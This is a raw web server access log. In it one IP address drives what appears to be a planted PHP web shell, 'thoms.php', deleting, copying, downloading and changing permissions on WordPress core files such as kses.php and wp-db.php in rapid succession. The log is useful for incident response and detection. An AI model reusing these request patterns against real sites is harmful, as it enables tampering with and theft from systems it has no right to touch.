45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22285 "https://163.245.207.76:443/thoms.php?del=feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-page.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?del=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?chmod=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22242 "https://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?del=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?del=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frevision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frevision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frevision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-ajax-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22258 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=embed-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=locale.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?dl=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=wp-db.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcategory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcategory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-phpass.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcategory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?chmod=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=general-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?dl=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=post-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fimages&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22267 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22229 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fembed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fembed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22161 "https://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fembed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22252 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
